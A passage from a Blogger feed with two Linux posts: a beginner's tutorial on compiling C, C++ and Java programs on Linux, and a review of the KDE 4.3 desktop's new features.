(http://www.ubuntu.com) and Fedora Linux (http://www.fedoraproject.org)  both have individually made the Linux experience very user-friendly for  casual users of the computer—for Internet surfing, e-mail and document  processing needs. Either of these is ideal for you to get started with.  Linux installation can be somewhat tricky, though, especially if you  intend to set up a dual-boot system where you can boot either Linux or  your old Windows. Otherwise, it’s quite simple: download the CD (ISO)  image, burn it to a CD-R or RW, boot your computer from it, and let it  install! The best way to do a dual-boot set-up the first time is to get  hold of someone in your school, locality or office who knows about it,  and ask them to guide you. Also, there are other options if you want to  try Linux either without installing it, without replacing Windows or  doing a dual-boot set-up. See the Dealing with practicalities section  towards the end of this article, for some of these ideas.&lt;br /&gt;The Ultimate Linux Newbie Guide (http://www.linuxnewbieguide.org/) is a  good reference to help you learn things yourself. With Linux, an  experimental approach to learning helps a lot. So, back up your data,  and get started with those install discs if you can’t find anyone to  help you out. These days, most Linux distributions come with just the  essential applications and libraries installed—which probably won’t be  sufficient for programming needs. To enable easy installation of new  software, most distributions have a package manager (in the Linux world,  software is distributed in the form of ‘packages’), which you use to  easily download and install new software from the Internet. The Linux  Newbie Guide mentioned earlier is a good reference for this topic. So  that this article will be of maximum utility, I will try to be more  general, and avoid favouring any particular distribution.&lt;/div&gt;&lt;h2 style="text-align: left;"&gt;Choosing a text editor&lt;/h2&gt;&lt;div style="text-align: left;"&gt;We won’t be using an Integrated Development  Environment (IDE), at least, initially. We will just do it the simple  way: write code using a text editor, save it, and compile/interpret it  using an appropriate compiler/interpreter. In the Linux world, you have a  plethora of text editors to choose from. One of the editors, such as  gedit or kwrite, will definitely be installedwhen you install Linux—you  can use either. If you install a distribution like Ubuntu, which has the  GNOME desktop&lt;br /&gt;environment, then you will have gedit already installed. It’s just like  Notepad, only more useful and feature-rich.&lt;/div&gt;&lt;h2 style="text-align: left;"&gt;C/C++ programming on Linux&lt;/h2&gt;&lt;div style="text-align: left;"&gt;C is usually the first language taught to  many students in Indian engineering schools and colleges, so let’s first  look at how we program in C on Linux. Note that the C code that you  will write on Linux will be the same that you would write on  Windows/DOS, as long as you are writing ANSI C code. Some library  functions, such as those provided by conio.h and graphics.h, are not  part of the ANSI standard. Hence, you won’t be able to use them on  Linux. The C compiler you use on Linux is GCC. It is part of the GNU  Compiler Collection  (http://en.wikipedia.org/wiki/GNU_Compiler_Collection).&lt;/div&gt;&lt;div style="text-align: left;"&gt;Open a terminal and run the command gcc:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;$ gcc&lt;br /&gt;gcc: no input files&lt;/pre&gt;&lt;div style="text-align: left;"&gt;If you see something like the above output,  gcc is already installed. If you see something like “Command not  found”, then you will have to install gcc using the package manager.  Besides a compiler, you will also need the C standard library, called  glibc, to compile your C programs correctly. Type in locate glibc and  check the output. If it shows directory structures of the form  ‘/foo/bar/glibc’ or the like, then you have glibc installed; else you  need to install it.&lt;br /&gt;Okay, now that we have confirmed the presence of a text editor, a  compiler and the standard library, let us write our first code in C on  Linux. For the purpose of this article, let’s create a sub-directory  called ‘codes’ under the home directory, in which we will store all our  source code.&lt;br /&gt;Start up gedit and input this simple C code to print the factorial of a  number:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;#include&lt;stdio.h&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;int n, i,fact=1;&lt;br /&gt;printf("Enter a number for which you want to find the factorial:: ");&lt;br /&gt;scanf("%d", &amp;amp;n);&lt;br /&gt;for(i=1;i&amp;lt;=n;i++)&lt;br /&gt;fact=fact*i;&lt;br /&gt;printf("Factorial of %d is :: %d\n", n,fact);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/stdio.h&gt;&lt;/pre&gt;&lt;div style="text-align: left;"&gt;Save this code in the codes sub-directory  with the name ‘fact.c’ and use cd codes to go to this directory in your  terminal. Once you are there, issue the following command:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;$ gcc factorial.c&lt;/pre&gt;&lt;div style="text-align: left;"&gt;After executing the command, run ls and you  will see an ‘a.out’ file in the current directory. This is the  executable file of your C program, compiled and linked with the  appropriate libraries. To execute it, run (note the leading ./, which is  essential!):&lt;/div&gt;&lt;pre style="text-align: left;"&gt;$ ./a.out&lt;/pre&gt;&lt;div style="text-align: left;"&gt;Enter a number for which you want to find  the factorial:: 5&lt;br /&gt;Factorial of 5 is :: 120&lt;/div&gt;&lt;div style="text-align: left;"&gt;Congratulations, you have just written your  first C program on Linux! That was just the normal C that you write on  DOS or Windows—no surprises there! A bit more about this a.out file:  This is the Linux equivalent of the .exe file that you would see under  DOS/Windows; it is the executable form of your code. As you might have  already guessed, this file cannot be executed on DOS or Windows, since  it is in a different format. Now,&lt;br /&gt;instead of having to rename your executable file each time you compile,  you can specify the output file name to the compiler:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;$ gcc -o factorial factorial.c&lt;/pre&gt;&lt;div style="text-align: left;"&gt;Try a few more programs from your C  programming and data structures classes. ‘The C Programming Language’ is  a well-known programming book by Brian Kernighan and Dennis Ritchie,  which teaches you C programming with a strong Linux flavour. It would be  a good idea to try the&lt;br /&gt;examples and exercise programs from this book to get a flavour of C  programming on Linux. Let’s now write our first C++ program on Linux.  The cycle of coding, compilation and execution is very similar to that  for C, except for the compiler we use, which is g++. Check if it’s  already installed by running the command in a terminal, like we did for  gcc. Next, use your package manager to check if&amp;nbsp; libstdc++, the standard  C++ library, is installed (if not, install it). Once both are  installed, open up gedit and type this simple C++ program:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;#include&lt;iostream&gt;&lt;br /&gt;#include&lt;string&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;string s1="Hello";&lt;br /&gt;string s2="World";&lt;br /&gt;cout &amp;lt;&lt;s1+" +="" s2=""&gt;&amp;lt;&amp;lt; "\n";&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/s1+"&gt;&lt;/string&gt;&lt;/iostream&gt;&lt;/pre&gt;&lt;div style="text-align: left;"&gt;Save this file as string-demo.cxx in the  codes subdirectory.&lt;br /&gt;Compile and execute the file:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;$ g++ -o string-demo string-demo.cxx&lt;br /&gt;$ ./string-demo&lt;br /&gt;Hello World&lt;/pre&gt;&lt;div style="text-align: left;"&gt;The C++ code you see is standard C++, with  the ‘.h’ omitted from the header files. C++ source files conventionally  use one of the suffixes ‘.C’, ‘.cc’, ‘.cpp’, ‘.c++’, ‘.cp’, or ‘.cxx’.&lt;/div&gt;&lt;div style="text-align: left;"&gt;Let us now write a simple C++ program that  uses classes:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;#include&lt;iostream&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;class Circle{&lt;br /&gt;&lt;br /&gt;float r;&lt;br /&gt;public:&lt;br /&gt;void init(float x) /* Inline function */&lt;br /&gt;{&lt;br /&gt;r = x;&lt;br /&gt;}&lt;br /&gt;float area();&lt;br /&gt;};&lt;br /&gt;float Circle::area()&lt;br /&gt;{&lt;br /&gt;return 3.14*r*r;&lt;br /&gt;}&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;float radius;&lt;br /&gt;Circle circle;&lt;br /&gt;cout &amp;lt;&amp;lt; "Enter the radius of the circle:: ";&lt;br /&gt;cin &amp;gt;&amp;gt; radius;&lt;br /&gt;circle.init(radius);&lt;br /&gt;cout &amp;lt;&amp;lt; "Area of the Circle:: "&amp;lt;&lt;circle.area()&gt;&amp;lt;&amp;lt;"\n";&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/circle.area()&gt;&lt;/iostream&gt;&lt;/pre&gt;&lt;div style="text-align: left;"&gt;Save the file in the codes sub-directory as  class-demo.cxx.&lt;br /&gt;Compile and execute it:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;$ g++ -o class-demo class-demo.cxx&lt;br /&gt;$ ./class-demo&lt;/pre&gt;&lt;div style="text-align: left;"&gt;Enter the radius of the circle:: 4&lt;br /&gt;Area of the Circle:: 50.24&lt;br /&gt;Assuming that you have been able to compile these programs successfully,  I would now recommend you go ahead and write, compile and test some of  your C/C++ assignments and problems using gcc and g++. If you face any  issues, you are most welcome to e-mail me personally.&lt;br /&gt;Java programming on Linux Java is perhaps the next most widely taught  language in Indian schools and colleges after C/C++. The best part of  Java programming on Linux is that you use the same tools that you would  use on Windows—yes, the Sun Java Development Kit.&lt;br /&gt;To install the JDK on Linux, download the installer for Linux from  http://java.sun.com/javase/downloads/widget/jdk6.jsp. &lt;/div&gt;&lt;div style="text-align: left;"&gt;Choose the .bin file, and not the *rpm.bin  file, unless you know what you are doing. (The .bin file is the  equivalent of .exe on Windows). Once the download is complete, in your  terminal, cd to the directory where the file has been downloaded, and  use the following commands:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;$ chmod +x jdk-6u18-linux-i586.bin&lt;br /&gt;&lt;br /&gt;$ ./jdk-6u18-linux-i586.bin&lt;/pre&gt;&lt;div style="text-align: left;"&gt;The file names above might differ depending  on the JDK version that you have downloaded. The first line makes the  installer executable, and the second line executes it. The installer  should start now, and you should see the ‘Sun Microsystems, Inc. Binary  Code License Agreement’.&lt;br /&gt;Accept the licence, and the extraction of the JDK should start. Once the  installer has exited, you should see a new sub-directory&lt;br /&gt;named ‘jdk1.6.0_18’ inside the current directory. If you are familiar  with Java programming on Windows, this should be easily recognisable.  Inside this directory is the bin sub-directory, which has the Java  compiler (javac), Java interpreter (java), and others. With this, we are  all set; let’s write our first Java program on Linux. Fire up gedit and  write the following Java code, which shows the usage of an array of  integers:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;import java.util.Random;&lt;br /&gt;class ArrayDemo {&lt;br /&gt;public static void main(String[] args) {&lt;br /&gt;int[] arr = new int[10];&lt;br /&gt;for(int i=0;i&amp;lt;10;i++)&lt;br /&gt;arr[i] = (new Random()).nextInt();&lt;br /&gt;for(int i=0;i&amp;lt;10;i++)&lt;br /&gt;System.out.println("Element at index " + i + "is::" + arr[i]);&lt;br /&gt;}&lt;br /&gt;}&lt;/pre&gt;&lt;div style="text-align: left;"&gt;Save the code to a file ‘ArrayDemo.java’,  then compile&lt;br /&gt;and run it as follows:&lt;/div&gt;&lt;pre style="text-align: left;"&gt;$ /home/amit/jdk1.6.0_18/bin/javac ArrayDemo.java&lt;br /&gt;$ /home/amit/jdk1.6.0_18/bin/java ArrayDemo&lt;br /&gt;Element at index 0is:: 480763582&lt;br /&gt;Element at index 1is:: -1644219394&lt;br /&gt;Element at index 2is:: -67518401&lt;br /&gt;Element at index 3is:: 619258385&lt;br /&gt;Element at index 4is:: 810878662&lt;br /&gt;Element at index 5is:: 1055578962&lt;br /&gt;Element at index 6is:: 1754667714&lt;br /&gt;Element at index 7is:: 503295725&lt;br /&gt;Element at index 8is:: 1129666934&lt;br /&gt;Element at index 9is:: 1084281888&lt;/pre&gt;&lt;div style="text-align: left;"&gt;Note the first two commands, where I have  given the full path to the location of the javac and java executables.  Depending on where you have extracted the JDK, your path will vary. This  is how you can compile, run, test and debug your Java programs.&lt;/div&gt;&lt;h2 style="text-align: left;"&gt;OpenJDK&lt;/h2&gt;&lt;div style="text-align: left;"&gt;An article about Java programming in an  open source magazine would be incomplete without talking about OpenJDK  (http://openjdk.java.net/). It’s good for you to be aware of this  project. As you might have already guessed, it is a GPL-licensed open  source implementation of the Java&lt;br /&gt;Standard Edition—i.e., the source code of the JDK that you are so  familiar with, is also now available for your scrutiny, in case you  don’t like something in the current JDK.&lt;/div&gt;&lt;div style="text-align: left;"&gt;So, is this a different Java? No—you write  the same Java code. You can install OpenJDK from your Linux  distribution’s package manager (it may come pre-installed with some  distributions). See http://openjdk.java.net/install/for installation  instructions.&lt;br /&gt;Dealing with practicalities Due to various reasons, deploying Linux  lab-wide may not always be possible. In such cases, it’s a good idea to  have a single Linux machine in the lab, acting as an SSH server; you can  install the necessary SSH client software on other operating systems,  which will enable connecting to the Linux machine remotely. This machine  should be of a relatively good configuration, depending on how many  students will be using it for their coding and compilation—a dual- or  quad-core CPU with 4 GB of RAM and a hard disk of at least 320 GB is a  good idea.&lt;br /&gt;For Windows, Putty  (http://chiark.greenend.org.uk/~sgtatham/putty/download.html) is a  widely used SSH client.&lt;br /&gt;If writing the code on Windows and copying it to the Linux machine to  compile and run, you will also need to download the pscp program from  the site, which lets you copy files from the local machine to the Linux  SSH server.&lt;br /&gt;If you need a GUI session from the Linux server to be accessible on the  Windows machine (for example, while doing GUI programming) then  investigate the OpenNX server (to be installed on the Linux server  machine) and the NoMachine NX client for Windows. A machine with the  configuration given above should support around 10 user sessions before  it starts slowing down. Fine-tuning the desktop manager (use a light one  like LXDE or XFCE) and using lighter editors like GVim for writing  code, is a good start. Another option (which does not need a dedicated  Linux server machine) is to install Linux in a virtual machine on your  desktop. This could also prove useful on a home computer. VirtualBox  (http://www.virtualbox.org/wiki/Downloads) is virtualisation software  that, when installed on your Windows system, will allow you to create a  virtual machine, inside which you can install Linux without disrupting  your Windows installation.&lt;br /&gt;You will, of course, need some free disk space (8 GB or more) for the  virtual machine’s disk file. You don’t need to burn the Linux  installation ISO onto a CD in this case—you can simply instruct  VirtualBox to use the ISO image file as a disc inserted in the CD-ROM  drive of the virtual machine.&lt;br /&gt;This is also a good way to practice installing Linux, and to see how  easy it can be. For Ubuntu, in particular, there is Wubi  (http://wubiinstaller.org/) which lets you install (and uninstall)  Ubuntu like any other Windows application, in a simple and safe way,  ‘with a single click’. The Ubuntu files are stored in a single folder in  your Windows drive, and an option to boot Ubuntu is added to your  Windows boot-loader menu. However, hard-disk access is slightly slower  than installation to a dedicated partition.&lt;br /&gt;If your Windows drive is very fragmented, the performance will  degenerate further. Hibernation is not supported under Wubi. Moreover,  the Wubi filesystem is more vulnerable to hard reboots (turning off the  power) and power failures than a normal installation to a dedicated  partition, which provides a more robust filesystem that can better  tolerate such events.&lt;br /&gt;In general, programming on Linux will also require a decent level of  familiarity regarding working with shell commands. Get familiar with  working with the shell. Try to minimise the use of the mouse :-)&lt;/div&gt;&lt;h2 style="text-align: left;"&gt;Using your favourite IDE on Linux&lt;/h2&gt;&lt;div style="text-align: left;"&gt;If you have been using any IDEs for your  development&lt;br /&gt;needs, it should be great news that two very popular IDEs—NetBeans and  Eclipse—have Linux versions as well, and both of them support C, C++ and  Java development. For GNOMEbased Linux distributions, Anjuta DevStudio  (http://projects.gnome.org/anjuta/features.html) is another powerful IDE  for C, C++ and Java (and other languages too). All three should be  available in your distribution’s package manager.&lt;br /&gt;To conclude this article, I would like to urge you to make an honest  effort to embrace Linux for programming. It’s a much better world to be  in. I would love to address any queries/concerns/comments/suggestions  that you may have,regarding this article.&lt;/div&gt;&lt;h2 style="text-align: left;"&gt;Resources&lt;/h2&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Download Ubuntu: http://www.ubuntu.com/GetUbuntu/&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;download&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Download Fedora: http://fedoraproject.org/en/get-fedora&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;‘graphics.h’ like functionality using ‘gcc’: http://zaher14.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;blogspot.com/2007/01/graphicsh-in-linux.html&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;GNU Compiler Collection: http://gcc.gnu.org/&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Brian W. Kernighan and Dennis M. Ritchie, “The C&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;Programming Language”&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Bjarne Stroustrup, “The C++ Programming Language”&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Neil Matthew, Richard Stones, “Beginning Linux&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;Programming”&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;StackOverflow.com is a community forum where you can&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;post your programming-related questions.  It’s languageneutral,&lt;br /&gt;which makes it very attractive.&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;A basic introduction to SSH: http://polydistortion.net/doc/&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;ssh.html&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;VirtualBox: www.virtualbox.org, User Manual: www.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;virtualbox.org/manual/UserManual.html&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;www.yolinux.com is a good resource for general Linux&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;information.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-6072894073256354044?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/6072894073256354044/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/05/write-your-next-program-on-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6072894073256354044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6072894073256354044'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/05/write-your-next-program-on-linux.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-2563480303468734215</id><published>2010-05-23T10:32:00.000-07:00</published><updated>2010-05-23T10:32:25.729-07:00</updated><title type='text'></title><content type='html'>&lt;div class="entry-top"&gt;       &lt;h2 class="entry-title" style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;KDE 4.3: It’s the Desktop You Need, Almost&lt;/span&gt;&lt;/h2&gt;&lt;div class="entry-meta"&gt;       &lt;span class="entry-author"&gt; &lt;/span&gt;       &lt;div class="entry-rating"&gt; &lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;What  do you think of when you read something like this: “Fixed over 10,000  bugs and implemented almost 2,000 feature requests in the last 6 months;  close to 63,000 changes were checked in by a little under 700  contributors…”? Now, that’s what I call developers being really busy  working on something solid.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="entry-content clearfix"&gt;      &lt;div id="greet_block"&gt;&lt;noscript&gt;&amp;lt;div class="greet_block"&amp;gt;&amp;lt;div class="greet_text"&amp;gt;&amp;lt;div class="greet_image"&amp;gt;&amp;lt;a href="http://www.linuxforu.com/feed/rss/"  rel="nofollow"&amp;gt;&amp;lt;img src="http://www.linuxforu.com/wp-content/plugins/wp-greet-box/images/rss_icon.png" alt="WP Greet Box icon"/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;Hello there! If you are new here, you might want to &amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;gt;&amp;lt;strong&amp;gt;subscribe to the RSS feed&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt; for updates on this topic.&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class="greet_block_powered_by"&amp;gt;&amp;lt;a href="http://omninoggin.com/projects/wordpress-plugins/wp-greet-box-wordpress-plugin/" title="WP Greet Box WordPress Plugin"&amp;gt;Powered by WP Greet Box&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/noscript&gt;&lt;/div&gt;Guess it’s time to start our journey with KDE 4.3.&lt;br /&gt;The first thing you notice in this version is the brand new theme  called Air. This replaces the default and darker Oxygen that’s been  around since the inception of the KDE4 desktop. Air, by contrast, is a  transparent white theme with nice stripes and spirals, which make it  look quite appealing. Mind you, Oxygen is still available, besides  various other themes that can be downloaded from KDE-Look.org by  accessing the New Theme button from the Desktop Settings tool (you get  it up by right clicking on an empty space on your desktop).&lt;br /&gt;While we’re on the subject of Desktop Settings—this tool has also  received some attention. First, you have another type of activity  setting—apart from Folder View (the traditional desktop with icons), and  Desktop (the default desktop containment introduced in KDE  4.1)—dubbed‘Plain Desktop’. It is basically a desktop without the  toolbox you get on the top right corner to zoom-out of an activity and  create new ones. Apparently, more activity types have been introduced,  one of which can enable you to use your desktop screen as a whiteboard  of sorts. However, I couldn’t figure out a way to install these. [Let us  know if you can.]&lt;br /&gt;Another nice add-on under Desktop Settings is the additional  wallpaper types—Virus, Mandelbrot, Weather and Globe, besides the slide  show and patterns, which have been available for a while (Figure 1).  Among these, I quite like the Globe add-on, which uses the Marble  program to render an interactive glove as your desktop background.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2196" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/09/Wallpaper_Types_under_Desktop_Settings.png"&gt;&lt;img alt="Figure 1: Wallpaper Types under Desktop Settings" class="size-large wp-image-2196" height="357" src="http://www.linuxforu.com/wp-content/uploads/2009/09/Wallpaper_Types_under_Desktop_Settings-550x357.png" title="Wallpaper_Types_under_Desktop_Settings" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 1: Wallpaper Types  under Desktop Settings&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;Another pleasant surprise is that now you can have different  activities for different workspaces. If you are the type who uses a lot  of widgets, and finds it difficult to fit all of these into one screen,  in earlier versions you probably needed to switch between activities to  set some other widgets that wouldn’t fit into your primary activity.  However, let’s face it, switching between activities is not the easiest  of jobs. With version 4.3, you can configure each workspace as a  separate activity and thus have different widgets, wallpapers, etc, on  different workspaces (see Figure 2)—and thankfully, switching between  workspaces is much easier.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2199" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/09/Different_activities_for_different_wordkspaces.png"&gt;&lt;img alt="Figure 2: Different 'Activities' for different wordkspaces" class="size-large wp-image-2199" height="343" src="http://www.linuxforu.com/wp-content/uploads/2009/09/Different_activities_for_different_wordkspaces-550x343.png" title="Different_activities_for_different_wordkspaces" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 2:  Different 'Activities' for different wordkspaces&lt;/div&gt;&lt;/div&gt;However, the best feature among the 50-odd widgets that come with KDE  4.3, is the new enhancement added to the Folder View widget, which  prompted me to switch to my home directory as my default location from  the ~/Desktop folder I have been using for a year. Now, hovering over a  folder in Folder View lets me peak into the folder’s contents, thanks to  an overlay effect (Figure 3). With this sort of feature now available,  you don’t have to launch Dolphin to locate or access your files—just  navigate the filesystem and access files straight from your desktop with  a single (double) click.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2200" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/09/Peek_into_the_Folder_View.png"&gt;&lt;img alt="Figure 3: Peeking into the Folder View" class="size-large wp-image-2200" height="343" src="http://www.linuxforu.com/wp-content/uploads/2009/09/Peek_into_the_Folder_View-550x343.png" title="Peek_into_the_Folder_View" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 3: Peeking into the Folder View&lt;/div&gt;&lt;/div&gt;To think about it, I must mention the inclusion of two widgets, the  first of which is openDesktop. If you set the latitude and longitude on  which you are located, this widget has the ability to show you other  users who are nearby. However, for this to work, you need an account  with opendesktop.org; besides, there’s not much you can do with the  widget. It definitely shows some promise, and I won’t be surprised if it  becomes a major contestant soon among the various social networking  tools.&lt;br /&gt;The second widget seems handy for those who like to plan their days  with different tasks, et al. It’s called Remember the Milk, and its  purpose is to keep you in sync with the RTM online service. Again, you  need an online account to be able to use it. Besides these two, the  Microblogging widget now has Identi.ca support, apart from Twitter.&lt;br /&gt;The system notifications have acquired some polish. Building on top  of the notification system that was introduced in version 4.2, it now  has a dedicated icon on the system tray. Running tasks now slide into  this notification icon and are grouped together, not taking up too much  of screen space. An animating icon signifies that jobs are still  running. However, the ‘More’ and ‘Less’ buttons for notifications (for  example, in the copy dialog), still need a lot of attention.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2202" style="width: 443px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/09/New_notifications.png"&gt;&lt;img alt="New notifications system" class="size-full wp-image-2202" height="225" src="http://www.linuxforu.com/wp-content/uploads/2009/09/New_notifications.png" title="New_notifications" width="433" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 4: New notifications system&lt;/div&gt;&lt;/div&gt;Coming to the various application enhancements, KRunner continues to  improve. It now displays the search results as a list instead of as  icons—the layout now gives it more room to display the application  descriptions below their names. The option to run the apps as a  different user is also back, which was available in the KDE3 series, but  went missing in KDE4. Also, the addition of the help button (the ?  icon) gives the user an idea of the different syntaxes that we can use.  Earlier, it more or less depended on guesswork.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2204" style="width: 430px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/09/KRunner.png"&gt;&lt;img alt="Redesigned KRunner layout" class="size-full wp-image-2204" height="317" src="http://www.linuxforu.com/wp-content/uploads/2009/09/KRunner.png" title="KRunner" width="420" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 5: Redesigned KRunner layout&lt;/div&gt;&lt;/div&gt;The Dolphin file manager now shows a slideshow of the images that are  inside when you hover over a folder when using the file ‘Preview’ mode.  A feature to play (preview) media files in the ‘Information’ pane has  also been added.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2209" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/09/Image_preview_in_Dolphin.png"&gt;&lt;img alt="Image preview in Dolphin file manager" class="size-large wp-image-2209" height="329" src="http://www.linuxforu.com/wp-content/uploads/2009/09/Image_preview_in_Dolphin-550x329.png" title="Image_preview_in_Dolphin" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 6: Image preview in Dolphin file manager&lt;/div&gt;&lt;/div&gt;The optional tree-view is back in System Settings, reminiscent of  KControl from KDE3, for those who need it. A major bug fix, I’d say, is  the ability to configure items that require root-level changes (like,  for example, KDM) from within System Settings. Any option that required  root privileges used to be greyed out earlier—now it prompts for a root  password instead. Also, PolicyKit has been integrated into the desktop  and a module is made available here. With this you can fine-tune certain  privileges. Like, for example, Dolphin usually lists all available  partitions in the side pane, whether an entry has been set in the  /etc/fstab file or not. However, in previous KDE versions, trying to  access such a partition would result in a Not permitted error message.  Now if you set the settings correctly in the PolicyKit module, you can  give a normal user the privilege to mount these partitions.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2208" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/09/Fine_tuning_PolicyKit_settings_in_System_Settings_which-is-in-Tree-View.png"&gt;&lt;img alt="System Settings using the Classic Tree View layout (see LHS pane); fine tuning PolicyKit settings (right)" class="size-large wp-image-2208" height="343" src="http://www.linuxforu.com/wp-content/uploads/2009/09/Fine_tuning_PolicyKit_settings_in_System_Settings_which-is-in-Tree-View-550x343.png" title="Fine_tuning_PolicyKit_settings_in_System_Settings_(which is in Tree View)" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 7: System Settings using the Classic  Tree View layout (see LHS pane); fine tuning PolicyKit settings (right)&lt;/div&gt;&lt;/div&gt;All these are small add-ons, which makes 4.3 more of an incremental  update rather than a major overhaul like its predecessors. There are, of  course, numerous other enhancements; I’ve only listed the ones that  drew my attention.&lt;br /&gt;The most impressive factor is the overall stability of the  applications and Plasma, and thereby the stability of the desktop as a  whole. However good KDE4 has been till date, it’s always been a tad  unstable compared to its predecessor or alternative desktop  environments. Having used 4.3 since the RC1 release, I’ve hardly faced  crashes. And when it does crash, the crash report tool has a button to  restart whatever has crashed—provided it’s a KDE app.&lt;br /&gt;The news is that work had already started on version 4.4 much before  4.3 was released; so expect many new additions in the version that comes  out next January.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-2563480303468734215?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/2563480303468734215/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/05/kde-4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2563480303468734215'/><link rel='self' type='application/atom+xml' 